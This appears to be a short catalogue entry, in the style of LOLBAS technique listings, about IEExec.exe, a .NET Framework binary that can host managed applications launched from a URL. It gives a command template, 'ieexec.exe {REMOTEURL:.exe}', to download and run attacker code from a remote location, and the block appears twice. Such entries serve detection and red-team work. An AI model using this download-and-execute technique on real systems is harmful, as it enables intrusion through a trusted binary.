The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
Downloads and executes executable from the remote server.
ieexec.exe {REMOTEURL:.exe}
Download and run attacker code from remote location
Downloads and executes executable from the remote server.
ieexec.exe {REMOTEURL:.exe}
Download and run attacker code from remote location